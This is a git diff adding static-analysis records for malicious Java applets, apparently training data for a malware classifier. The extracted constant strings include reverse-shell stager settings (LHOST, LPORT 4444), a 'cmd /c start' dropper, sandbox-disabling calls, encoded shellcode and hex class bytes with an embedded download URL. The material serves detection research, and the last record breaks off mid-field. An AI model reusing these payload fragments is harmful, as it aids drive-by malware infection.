a/java_classification/data/malicious/b831fe75219b22fab1f67b111d16875065f74bb21d6db58013108a698f0b5977.results b/java_classification/data/malicious/b831fe75219b22fab1f67b111d16875065f74bb21d6db58013108a698f0b5977.results new file mode 100755 index 0000000..efec32e --- /dev/null +++ b/java_classification/data/malicious/b831fe75219b22fab1f67b111d16875065f74bb21d6db58013108a698f0b5977.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DWacSnNwt.java", "class_name": "luLbEI/tSbjSv", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "OrderIfInvoke", "xxsDd", "zBEhGP", "lOijnx", "iwZDi", "dtccDKF", "MREaaiMY", "kMTChuRk", "rYfpRofxK"], "minor_version": 0, "const_pool_count": 140}}, "_id": "4eacc62f-03c0-42ac-9b35-8753a3930f8a", "verbose": {"java": {"constant strings": ["", "\\x119\\n\\x1f\\')>", "\\x11<;\\x0c&\\x0e>\\x1e", "&\\x13\\x0f\"\\x13\\x08/", ">9\\'", "%.<\\x02%8?*%(."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0d410196bbff17cee24e06701b6044ba3bdba997", "file_name": "java_malicious/b831fe75219b22fab1f67b111d16875065f74bb21d6db58013108a698f0b5977", "_id": "4eacc62f-03c0-42ac-9b35-8753a3930f8a", "score": 0, "entropy": 5.7343383340688545, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3378, "ssdeep": "96:WgIFllxw7yLCH8YcaHAgaVJ74ftoeJMf4Y+4:Wg6ln2uCH8o54Ho0", "sha256": "b831fe75219b22fab1f67b111d16875065f74bb21d6db58013108a698f0b5977", "md5": "f8d2d1b97e7237debd3f03341a1a0f8d", "parent_sha256": "b831fe75219b22fab1f67b111d16875065f74bb21d6db58013108a698f0b5977"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b8c725dc1f375b3d755a4d2566aa92f7459e5245f8158499841266b28e59c443.results b/java_classification/data/malicious/b8c725dc1f375b3d755a4d2566aa92f7459e5245f8158499841266b28e59c443.results new file mode 100755 index 0000000..f059420 --- /dev/null +++ b/java_classification/data/malicious/b8c725dc1f375b3d755a4d2566aa92f7459e5245f8158499841266b28e59c443.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "b.java", "class_name": "mixalpha/b", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "a", "a", "b", "access$0", ""], "minor_version": 0, "const_pool_count": 386}}, "_id": "a7a019b9-b06c-4b5f-8be6-12e333a8ecb7", "verbose": {"java": {"constant strings": ["}p\\t\\x1dHqk", "", "$7", "1", "\\\\jJ\\x1eOa", "pm", "jjF\\x13WslK\\n", "aj", "pp", "afS/_qvU\\x15NkNF\\x12[ufU", "tjK\\x19\\xc0\\x80=,\\x08", "sX", "<-\\t!\\x1a/#", ","]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "da552365a0bb445238c73dc1158844c8e24b477a", "file_name": "java_malicious/b8c725dc1f375b3d755a4d2566aa92f7459e5245f8158499841266b28e59c443", "_id": "a7a019b9-b06c-4b5f-8be6-12e333a8ecb7", "score": 0, "entropy": 5.9602839202321105, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 8456, "ssdeep": "96:nvUgC4/0XtX0yPWrfu6CDJQVU3Q8+vNxKHFzdXYiEOJp8pDCyKAl3mtFF8lTG2pV:vW4/0XtX0CQ8+4Al3mtFepXoy", "sha256": "b8c725dc1f375b3d755a4d2566aa92f7459e5245f8158499841266b28e59c443", "md5": "6834d060133b98348e535f040d3e477b", "parent_sha256": "b8c725dc1f375b3d755a4d2566aa92f7459e5245f8158499841266b28e59c443"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b94d8fa20c1485ecfe85668c7cb0eabc24c905946d5325b83f206d6e662f41c8.results b/java_classification/data/malicious/b94d8fa20c1485ecfe85668c7cb0eabc24c905946d5325b83f206d6e662f41c8.results new file mode 100755 index 0000000..171176d --- /dev/null +++ b/java_classification/data/malicious/b94d8fa20c1485ecfe85668c7cb0eabc24c905946d5325b83f206d6e662f41c8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/afnpgggumovbjmi", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "ozoqkzo", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "e78bf3f3-23fd-467f-a003-ed0942dfcced", "metadata": {"mimetype": "application/x-java-applet", "sha1": "b0de0671eb8782860b6788577283295b3418e38c", "file_name": "java_malicious/b94d8fa20c1485ecfe85668c7cb0eabc24c905946d5325b83f206d6e662f41c8", "_id": "e78bf3f3-23fd-467f-a003-ed0942dfcced", "score": 0, "entropy": 5.2089281902290985, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6961, "ssdeep": "192:TeWFdDQtY7qL/pOCxhi/To55UTYwa5hGX1:BVQSuLBDyTofUTkc1", "sha256": "b94d8fa20c1485ecfe85668c7cb0eabc24c905946d5325b83f206d6e662f41c8", "md5": "ff95fb292ea90e007fb79bc2069860aa", "parent_sha256": "b94d8fa20c1485ecfe85668c7cb0eabc24c905946d5325b83f206d6e662f41c8"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b958d7cc6f4657e448448ef10db1c70e9d273804dfada542c249542e1afd0a34.results b/java_classification/data/malicious/b958d7cc6f4657e448448ef10db1c70e9d273804dfada542c249542e1afd0a34.results new file mode 100755 index 0000000..a4dd716 --- /dev/null +++ b/java_classification/data/malicious/b958d7cc6f4657e448448ef10db1c70e9d273804dfada542c249542e1afd0a34.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "goap1723/Confuser", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "confuse"], "minor_version": 0, "const_pool_count": 355}}, "_id": "a544936c-6e04-4483-b38a-f0dcdcef57eb", "verbose": {"java": {"constant strings": ["instanoeTypeB", "instanoeTypeB80", "instanoeTypeB81", "instanoeTypeB82", "instanoeTypeB83", "instanoeTypeB84", "instanoeTypeB85", "instanoeTypeB86", "instanoeTypeB87", "instanoeTypeB88", "instanoeTypeB89", "instanoeTypeB90", "instanoeTypeB91", "instanoeTypeB92", "instanoeTypeB93", "instanoeTypeB94", "instanoeTypeB95", "instanoeTypeB96", "instanoeTypeB97", "instanoeTypeB98", "instanoeTypeB99"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e341b73a3a55312c8a88a3015a058fb6417efb0d", "file_name": "java_malicious/b958d7cc6f4657e448448ef10db1c70e9d273804dfada542c249542e1afd0a34", "_id": "a544936c-6e04-4483-b38a-f0dcdcef57eb", "score": 0, "entropy": 5.087382691156673, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6810, "ssdeep": "192:N00zTUZyX4Kwmr5QRHMWDiUv2Ilp/NFfxy8GZord:N00zTUZyX4Kwmr5QRHMINBfxBGZU", "sha256": "b958d7cc6f4657e448448ef10db1c70e9d273804dfada542c249542e1afd0a34", "md5": "491258da56f9bdedb58da1df91d7fc35", "parent_sha256": "b958d7cc6f4657e448448ef10db1c70e9d273804dfada542c249542e1afd0a34"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b95f06799235c16a6d68c0a7851a2ec8a05e10db379a1c56f3ed906aa85a97aa.results b/java_classification/data/malicious/b95f06799235c16a6d68c0a7851a2ec8a05e10db379a1c56f3ed906aa85a97aa.results new file mode 100755 index 0000000..289e42c --- /dev/null +++ b/java_classification/data/malicious/b95f06799235c16a6d68c0a7851a2ec8a05e10db379a1c56f3ed906aa85a97aa.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "yccQycpjGI/PIIZZDm", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "70206e65-ba26-45bc-926a-eb7dea7732c9", "verbose": {"java": {"constant strings": ["yccQycpjGI.PIIZZDm", ".class", "/yccQycpjGI.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "yccQycpjGI.dat", "URL", "", "https:", "yccQycpjGI/PIIZZDmTrustManager.class", "PIIZZDmTrustManager.class", "AESPassword", "yccQycpjGI/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "yccQycpjGI.PIIZZDmTrustManager", "useFor", "java.net.URLConnection", "yccQycpjGI.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "PIIZZDm -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "47ec191e3bafff042c2f3cf0fc0c0c2ac535c558", "file_name": "java_malicious/b95f06799235c16a6d68c0a7851a2ec8a05e10db379a1c56f3ed906aa85a97aa", "_id": "70206e65-ba26-45bc-926a-eb7dea7732c9", "score": 0, "entropy": 6.149468491660462, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMhDUBbe+WwrThmfsHxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrB:gmO1tTaCtmmyNvpvUrKYvCkgHzbDrDF", "sha256": "b95f06799235c16a6d68c0a7851a2ec8a05e10db379a1c56f3ed906aa85a97aa", "md5": "ea1c6520d9097fd49a61c7d19816e7ac", "parent_sha256": "b95f06799235c16a6d68c0a7851a2ec8a05e10db379a1c56f3ed906aa85a97aa"}} \ No newline at end of file diff --git a/java_classification/data/malicious/b96486845eebe8ad8109b94ae888375314f0148708773fc8d3f711401ead424a.results b/java_classification/data/malicious/b96486845eebe8ad8109b94ae888375314f0148708773fc8d3f711401ead424a.results new file mode 100755 index 0000000..d34a5a3 --- /dev/null +++ b/java_classification/data/malicious/b96486845eebe8ad8109b94ae888375314f0148708773fc8d3f711401ead424a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "C3.java", "class_name": "C3", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["", "char_at", "instantiate", "invoke", "string_to_bytes", "get_pd", "load"], "minor_version": 0, "const_pool_count": 155}}, "_id": "96ecfcdc-70e4-46f2-9d41-b466fe942bcd", "verbose": {"java": {"constant strings": ["newInstance", "fil", "e:///", "setSecurityManager", "CC00BCC00202023202800C022902340C023502360902370C023802390A023A0A023B0C0238023C09023D09023E0A023F0C024002410C020B02420C020B02430C020A02440902450902460902470C021302340A02480C023802490C0213024A0A024B0C0213024C0C021202420C0211024D0C020A024E0A024F0C025002510A02520A02530A02540C021102550C020A02560C021102560C025702580C0257025909025A09025B09025C09025D0302083E6B706B76400302052A2B58030206457166670302114E6B706750776F6467745663646E670302057477700302162A2B4E6C637863316E6370693151646C6765763D03020C477A656772766B71707503020C557177746567486B6E670302094536306C6378630E022B022C09025E0E025F02600302296C6378633175676577746B767B3152746B786B6E676967664365766B7170477A656772766B71700902610E026202630302106A767672306D676772636E6B786703020768636E75670E0264026503021D6C637863316B713144776868677467664B7072777655767467636F03020E6C637863317067763157544E030302", "2222222222222222222222222222222222222222222222222222222222222222", "2222222222222222222222222222222222222222222222222222222222222222", "2222222222222222222222222222222222222222222222222222222222222222", "2222222222222222222222222222222222222222222222222222222222222222", "2222222222222222222222222222222222222222222222222222222222222222", "2222222222222222222222222222222222222222222222222222222222222222", "2222222222222222222222222222222222222222222222224A5656723C313172", "637B66637B796764307477317A36507B662F584845364D396F3144713B6B493A", "0902660E026702680E022B02690E026A026B0E022B026C03021E6C637863316B7131447768686774676651777672777655767467636F03021A6C637863316B7131486B6E6751777672777655767467636F0302186C637863316E637069315576746B706944776868677403020656474F520E026D026E0E026F027003020A316F717430677A670E027102680E022B02720E02730274030207", "3232323639", "0902750E02760277030207", "3232323A38", "030207", "3232323937", "3232323932", "0E027802790E027A022C09027B0E027C027D0E027E027F0302156C637863316E63706931477A656772766B717003020445360302126C637863316E6370693151646C6765760302296C6378633175676577746B767B3152746B786B6E67696766477A656772766B71704365766B71700302206C6378633175676577746B767B314365656775754571707674716E6E677403020E667152746B786B6E6769676603023F2A4E6C6378633175676577746B767B3152746B786B6E67696766477A656772766B71704365766B71703D2B4E6C637863316E6370693151646C6765763D0302126C637863316E63706931557B7576676F03021475677655676577746B767B4F6370636967740302202A4E6C637863316E6370693155676577746B767B4F6370636967743D2B5803020D756776527471726774767B03023A2A4E6C637863316E637069315576746B70693D4E6C637863316E637069315576746B70693D2B4E6C637863316E637069315576746B70693D0302126C637863316E637069315576746B706903020676746B6F0302162A2B4E6C637863316E637069315576746B70693D0302172A4E6C637863316E637069315576746B70693D2B5803020C7172677055767467636F0302192A2B4E6C637863316B71314B7072777655767467636F3D03021A2A4E6C637863316B71314B7072777655767467636F3D2B580302086967766770780302282A4E6C637863316E637069315576746B70693D2B4E6C637863316E637069315576746B70693D03020863727267706603022E2A4E6C637863316E637069315576746B70693D2B4E6C637863316E637069315576746B70694477686867743D03020A76715576746B706903021C2A4E6C637863316B713151777672777655767467636F3D4B2B58030206746763660302092A5D444B4B2B4B0302136C637863316E637069314B70766769677403020A72637475674B70760302172A4E6C637863316E637069315576746B70693D2B4B03020779746B76670302092A5D444B4B2B58030207656E7175670302136C637863316E63706931547770766B6F6703020C696776547770766B6F670302172A2B4E6C637863316E63706931547770766B6F673D030206677A67650302292A4E6C637863316E637069315576746B70693D2B4E6C637863316E63706931527471656775753D0223022802290203022A020202040203022B022C0203022D0202024002030204020202102CB902032CBA020459A902064EB302030206020B020E02050203022E0202021802070202020B0206020E020B0213020E0210020F02140203022F02300204022D02020399020802090202031903BA0206130602BE0A4E053F054014071408BA020959BD020A5BBD020B5B140CB8020DB9020EB8020FB902103C06BD02115BBD02125BBD02135BB902141415BA0216B802171418B80217B80219B9021A130602B9021B3C071B062D05130602B8021C5B3F9D02831F1E624005380817081EA4026B1F1E6617086209729C02152D17085E35141DBA021E849356A9024A1F1E66170862097206A202152D17085E35141FBA021E849356A9022E1F1E66170862097207A202152D17085E351420BA021E849356A902122D17085E351421BA021E849356860803A901991B072D051EB80222A901781B06B802231B07B80224BA02253C081B08BD02135BB902141415BA0216B802171418B80217B80219B8022659A902064E03B2020302060313031602270203022E02020268021B020202180206021B020C021C0210021E0218021F02300220025A022102690223026D022402760226028102280291022A029D022C02AD022E02B9023002C9023402D6022402DC023702E7023902EC023A02F1023B02F6023C031302410316023E031702420231020202060203022702030232020202040233"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "1f1be43fe9755269570a5d05d180618e241c2198", "file_name": "java_malicious/b96486845eebe8ad8109b94ae888375314f0148708773fc8d3f711401ead424a", "_id": "96ecfcdc-70e4-46f2-9d41-b466fe942bcd", "score": 0, "entropy": 5.132983762432235, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 7004, "ssdeep": "192:SlTBUQ6uZeeMpXtZbCDvdF5DRXZbxs7m3DxmU6Ul4:Scn3t4pTJ4", "sha256": "b96486845eebe8ad8109b94ae888375314f0148708773fc8d3f711401ead424a", "md5": "f5bee7215a2a1bc233f53df74266efb7", "parent_sha256": "b96486845eebe8ad8109b94ae888375314f0148708773fc8d3f711401ead424a"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ba7415ba35f938eda517b8ccc435e479b11329b43502e776f9f0fdb21014fafd.results b/java_classification/data/malicious/ba7415ba35f938eda517b8ccc435e479b11329b43502e776f9f0fdb21014fafd.results new file mode 100755 index 0000000..f260eca --- /dev/null +++ b/java_classification/data/malicious/ba7415ba35f938eda517b8ccc435e479b11329b43502e776f9f0fdb21014fafd.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "20b9eda6-055a-42b2-aba5-0c7aa9d246e9", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pL,PL,Pl,Pn,pL,Pn,pZ,0y,yK,KW,p7,pu,Pq,OP,dY,1V,PW,pg,pS,0l,K1,PD,Ll,KT,0u,Ll,mL,Ks,X5,pm,PQ,m4,Le,cp,ts,3J,6x,kK,CN,kR,H7,xL,KH,wS,Ze,Tr,yy,xn,oU,PS,05,PK,RX,yE,8P,ob,NE,P5,Ps,Xb,UR,RR,L2,Mb,ti,ov,vN,kY,xx,hR,Yu,PW,p5,Pn,kz,wW,7M,PU,oU,P0,uh,zb,gb,wS,wm,Pe,oU,PT,5k,JN,kx,os,oP,3o,9N,aZ,Lw,tc,1w,ps,0l,Kk,lR,q6,2r,sR,Hu,Te,QE,Pc,0K,O6,64,Ls,jb,yR,q6,2l,Kv,bS,cr,cO,pu,kw,pp,uJ,ZO,q3,Ky,lT,nS,UQ,hc,Ut,5e,SL,Cx,k7,xM,YW,sK,wc,sv,d4,nQ,uR,X3,Uj,fa,Sv,hu,PS,kn,jJ,aW,tT,pM,X7,5U,PP,3K,p0,P0,Pr,sP,Wr,pK,Ov,6d,PO,sX,xW,pp,u5,VR,Jc,1S,cy,oQ,Fv,d3,jp,Yk,3Y,RS,42,aO,pg,JW,pq,el,tK,Or,v3,8p,Qr,vN,kq,e5,ll,Kb,T4,u1,hF,cJ,UB,vN,kR,Vq,06,cJ,U4,sY,YR,iq,Qn,Mu,SK,uU,cy,Kv,oO,Nb,0v,XK,Bp,tu,Xz,aH,Kd,MC,3I,J3,pZ,KJ,Qu,kU,Op,uM,7C,nn,ks,nG,TV,ck,mU,6N,kV,lp,Kl,KC,ne,L6,ci,MN,kw,tn,kv,cK,uN,KS,nP,YJ,cy,xg,pK,Oi,oY,oN,nP,Nt,Nj,Lm,Hy,nn,jT,Nc,Nz,xh,bQ,cv,S9,ZM,ZC,kW,FD,ZV,Op,pQ,Dq,VT,8R,U3,0a,xa,dq,d0,p4,zV,OF,Oa,v0,oR,NC,Qp,ff,NR,C2,Or,M4,o3,Y2,Nu,6B,O6,Or,N0,aq,wF,Nq,xt,4P,mR,LV,Ob,Nd,pT,pp,aV,QD,p6,V0,2p,0E,aP,30,0W,DT,24,p4,tT,p5,iB,ju,a5,a4,pv,PP,0V,VV,P4,qp,RS,UC,Qs,Ru,5r,Bu,aQ,uV,XQ,GV,WP,1V,Pe,aQ,v5,i5,5F,Sa,HP,9G,Dp,4u,6Q,v6,Se,ff,Ss,iU,4r,Fv,Yd,q4,wD,x0,bv,XQ,JD,pV,QT,pT,pu,6t,pv,Xp,0g,pG,pA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "64a670eeb5460dc61eec0863c996b00d090f5f59", "file_name": "java_malicious/ba7415ba35f938eda517b8ccc435e479b11329b43502e776f9f0fdb21014fafd", "_id": "20b9eda6-055a-42b2-aba5-0c7aa9d246e9", "score": 0, "entropy": 6.11972441360911, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3180, "ssdeep": "96:HFlQw+4X0emlkohTBTDE2iTULNkez1zNjWZ:ll7XnmlkAxQ5ApnJNiZ", "sha256": "ba7415ba35f938eda517b8ccc435e479b11329b43502e776f9f0fdb21014fafd", "md5": "0e4a1e2ff30ebf223836e728f079e09c", "parent_sha256": "ba7415ba35f938eda517b8ccc435e479b11329b43502e776f9f0fdb21014fafd"}} \ No newline at end of file diff --git a/java_classification/data/malicious/bb2665fffceec7d819247fe4d6961b9df278bad23e1efde907e9d904166cd595.results b/java_classification/data/malicious/bb2665fffceec7d819247fe4d6961b9df278bad23e1efde907e9d904166cd595.results new file mode 100755 index 0000000..59fb3eb --- /dev/null +++ b/java_classification/data/malicious/bb2665fffceec7d819247fe4d6961b9df278bad23e1efde907e9d904166cd595.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Ex_01.java", "class_name": "ex_01/Ex_01", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["", "init", "toHex", "tstPwn"], "minor_version": 0, "const_pool_count": 297}}, "_id": "df361d2b-1805-4e43-a9f2-f3eaf04931d9", "verbose": {"java": {"constant strings": ["os.arch", "", "64", "java.io.tmpdir", "shit.exe", "@url@", "urtpghh", "vbssqtg", "cmd /c start ", "setSecurityManager", "file:///"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ef9d3cb19412254f1a5fbdb9346f61fc3f544562", "file_name": "java_malicious/bb2665fffceec7d819247fe4d6961b9df278bad23e1efde907e9d904166cd595", "_id": "df361d2b-1805-4e43-a9f2-f3eaf04931d9", "score": 0, "entropy": 5.926864540281504, "libmagic": "compiled Java class data, version 51.0", "file_size": 5684, "ssdeep": "96:uL/oAlWyL7mjlwViR8hC2LB7lpZN4C5y/EDWip:JAlWyL7XiKhpVlpZNsEZ", "sha256": "bb2665fffceec7d819247fe4d6961b9df278bad23e1efde907e9d904166cd595", "md5": "2f13fd7786483e9d7fbdcbc3c32c5d3f", "parent_sha256": "bb2665fffceec7d819247fe4d6961b9df278bad23e1efde907e9d904166cd595"}} \ No newline at end of file diff --git a/java_classification/data/malicious/bbf1d8db2d9ee3b1812b6bf9c9c7dee8319e475d152fe7c9c1c213907d75d8f1.results b/java_classification/data/malicious/bbf1d8db2d9ee3b1812b6bf9c9c7dee8319e475d152fe7c9c1c213907d75d8f1.results new file mode 100755 index 0000000..9118bb4 --- /dev/null +++ b/java_classification/data/malicious/bbf1d8db2d9ee3b1812b6bf9c9c7dee8319e475d152fe7c9c1c213907d75d8f1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "wodin.java", "class_name": "wodin", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["bpirJG1nCGxYP02loP", "KpTMnCGxYPVng11Yas1", "LGnCGxYPzgd11tY1gnhyyyt", "vbnounCGxYPVbC11Cc1h", "ccnCGxYPlppoed11", "bpirJG1Mg99nCGxYP9tloP", "KpTMVnCGxYP555551", "LG44443nCGxYP41gnhyyyt", "", "KpTMVnCurDzu3Tig11Yas1", "LGJzSQNZgd1rDzu3T1tY1gnhyyyt", "vbntdjrDzu3TirouVbC11Cc1h", "cclppoerDzu3Tpzja1p1d11", "bpirJGrDzu3T1MgtloP", "KpTMVnCuig11rDzu3TYas555551", "LG4444343JzSrDzu3TQKZgd11tY1gnhyyyt", "vbntdji4rDzu3T86965rouVbC11Cc1h", "cclppoep552rDzu3T1ja1p1d11", "bpirJrDzu3TG1Mgt78902loP", "popugam"], "minor_version": 0, "const_pool_count": 191}}, "_id": "de7d31aa-10a7-47c6-9e23-0a5763f45cb3", "verbose": {"java": {"constant strings": ["nCGxYPiTb T u KkFJdleur JG MgtloPdJGL k oICzGwdjaHs hSoG ", "gmOuLoxye e Pk", "yfSOCGnqi O pIjnfGlusON j dN", "KpTMVnCuig Yas ", "LGJzSQNZgd tY g", "QXoIrxlGCH E HvSXhouVbC Cc h", "lOucjCpzja p d ", ","]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "bffa02f6e4695ff966354368dfa194fee51eaf17", "file_name": "java_malicious/bbf1d8db2d9ee3b1812b6bf9c9c7dee8319e475d152fe7c9c1c213907d75d8f1", "_id": "de7d31aa-10a7-47c6-9e23-0a5763f45cb3", "score": 0, "entropy": 5.854221118503435, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5560, "ssdeep": "96:9kFlkZZfkBxRPHko36h6uNI72pkdrfYazqu2+19pr6SX5:9ulkZyBxhHLY3i+e73wyvrb", "sha256": "bbf1d8db2d9ee3b1812b6bf9c9c7dee8319e475d152fe7c9c1c213907d75d8f1", "md5": "3ef3222e482a92058186cd6b74bd08b0", "parent_sha256": "bbf1d8db2d9ee3b1812b6bf9c9c7dee8319e475d152fe7c9c1c213907d75d8f1"}} \ No newline at end of file diff --git a/java_classification/data/malicious/bc5f30a03caac7544c7294cb8a7ecdeae0accc6d89003c277f5563165e9822b9.results b/java_classification/data/malicious/bc5f30a03caac7544c7294cb8a7ecdeae0accc6d89003c277f5563165e9822b9.results new file mode 100755 index 0000000..1cff243 --- /dev/null +++ b/java_classification/data/malicious/bc5f30a03caac7544c7294cb8a7ecdeae0accc6d89003c277f5563165e9822b9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Help.java", "class_name": "a/Help", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["", "StringToBytes", "doWork"], "minor_version": 0, "const_pool_count": 382}}, "_id": "99bc039a-121d-4972-afbf-76cff8cb6614", "verbose": {"java": {"constant strings": ["EBABE0000003000720A00220", "02D0A002E002F0700300A0031003", "20700330700340800350A003600", "370A000600380A000600390A0005", "003A07003B07003C07003D0A000", "E002D08003E0A0031003F0A000E0", "0400800410A000E00420A000D00", "380A000C00430A00050044080045", "0A004600470800480A000C00490", "A0005004A0A000C004A0A004B004", "C0A004B004D07004E07004F0700", "500700510100063C696E69743E01", "0003282956010004436F6465010", "00F4C696E654E756D62657254616", "26C6501000372756E0100142829", "4C6A6176612F6C616E672F4F626A", "6563743B01000A4578636570746", "96F6E7301000A536F75726365466", "96C6501000954696D652E6A6176", "610C002400250700520C00530054", "0100276A6176612F73656375726", "974792F50726976696C656765644", "16374696F6E457863657074696F", "6E0700550C0056005701001B6A61", "76612F696F2F427566666572656", "4496E70757453747265616D01000", "C6A6176612F6E65742F55524C01", "0100", "2020202020202020202020202020202020202020202020202020202020202020", "2020202020202020202020202020202020202020202020202020202020202020", "2020202020202020202020202020202020202020202020202020202020202020", "2020202020202020202020202020202020202020202020202020202020202020", "2020202020202020202020202020202020202020202020202020202020202020", "2020202020202020202020202020202020202020202020202020202020202020", "202020202020202020202020202020202020202020202020687474703A2F2F6C", "732E66656564726D2E636F6D2F6532666576355A34706A5343325256416D4A69", "0700580", "C0059005A0C0024005B0C005C00", "5D0C0024005E01001C6A6176612F", "696F2F42756666657265644F757", "470757453747265616D0100186A6", "176612F696F2F46696C654F7574", "70757453747265616D0100166A61", "76612F6C616E672F537472696E6", "742756666657201000454454D500", "C005F00600C006100620100082F", "6D6F722E6578650C0063005A0C00", "2400640C00650066010005", "3030313032", "0700670C00680069010005", "3030313031", "0C006A006B0C006C00", "2507006D0C006E006F0C00700071", "0100136A6176612F6C616E672F4", "57863657074696F6E010006612F5", "4696D650100106A6176612F6C61", "6E672F4F626A6563740100276A61", "76612F73656375726974792F507", "26976696C6567656445786365707", "4696F6E416374696F6E01001E6A", "6176612F73656375726974792F41", "6363657373436F6E74726F6C6C6", "57201000C646F50726976696C656", "7656401003D284C6A6176612F73", "656375726974792F50726976696C", "65676564457863657074696F6E4", "16374696F6E3B294C6A6176612F6", "C616E672F4F626A6563743B0100", "106A6176612F6C616E672F537973", "74656D010012736574536563757", "26974794D616E6167657201001E2", "84C6A6176612F6C616E672F5365", "6375726974794D616E616765723B", "29560100106A6176612F6C616E6", "72F537472696E670100047472696", "D01001428294C6A6176612F6C61", "6E672F537472696E673B01001528", "4C6A6176612F6C616E672F53747", "2696E673B295601000A6F70656E5", "3747265616D01001728294C6A61", "76612F696F2F496E707574537472", "65616D3B010018284C6A6176612", "F696F2F496E70757453747265616", "D3B2956010006676574656E7601", "0026284C6A6176612F6C616E672F", "537472696E673B294C6A6176612", "F6C616E672F537472696E673B010", "006617070656E6401002C284C6A", "6176612F6C616E672F537472696E", "673B294C6A6176612F6C616E672", "F537472696E674275666665723B0", "10008746F537472696E6701001A", "284C6A6176612F696F2F4F757470", "757453747265616D3B492956010", "00472656164010007285B4249492", "9490100116A6176612F6C616E67", "2F496E7465676572010008706172", "7365496E74010015284C6A61766", "12F6C616E672F537472696E673B2", "949010005777269746501000728", "5B4249492956010005636C6F7365", "0100116A6176612F6C616E672F5", "2756E74696D6501000A676574527", "56E74696D6501001528294C6A61", "76612F6C616E672F52756E74696D", "653B01000465786563010027284", "C6A6176612F6C616E672F5374726", "96E673B294C6A6176612F6C616E", "672F50726F636573733B00210021", "002200010023000000020001002", "40025000100260000003E0001000", "20000000E2AB700012AB8000257", "A700044CB1000100040009000C00", "030001002700000016000500000", "00B0004000D0009000F000C000E0", "00D001100010028002900020026", "0000013F00060007000000D701B8", "0004110400BC084C033D033EBB0", "00559BB0006591207B60008B7000", "9B6000AB7000B3A04BB000C59BB", "000D59BB000E59B7000F1210B800", "11B600121213B60012B60014B70", "015110400B700163A0519042B031", "10400B60017593D9B00491D1C60", "3E03360615061CA200311D1C6415", "066005709A00132B15065C33121", "8B80019829154A700102B15065C3", "3121AB80019829154840601A7FF", "CF19052B031CB6001BA7FFAE1904", "B6001C1905B6001DB8001E3A061", "906BB000E59B7000F1210B80011B", "600121213B60012B60014B6001F", "57A700044C01B00001000400D100", "D40020000100270000004E00130", "000001400040017000A0018000E0", "01A0026001B0050001C005F001E", "0063001F006C0021007700230087", "00270094001F009A002A00A5002", "C00AA002D00AF002E00B4002F00D", "1003100D50032002A0000000400", "0100200001002B00000002002C", "CAF", "file:///", "a.Time"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "49e2d28d51a9172728cc8a6055c608caa28b0d1b", "file_name": "java_malicious/bc5f30a03caac7544c7294cb8a7ecdeae0accc6d89003c277f5563165e9822b9", "_id": "99bc039a-121d-4972-afbf-76cff8cb6614", "score": 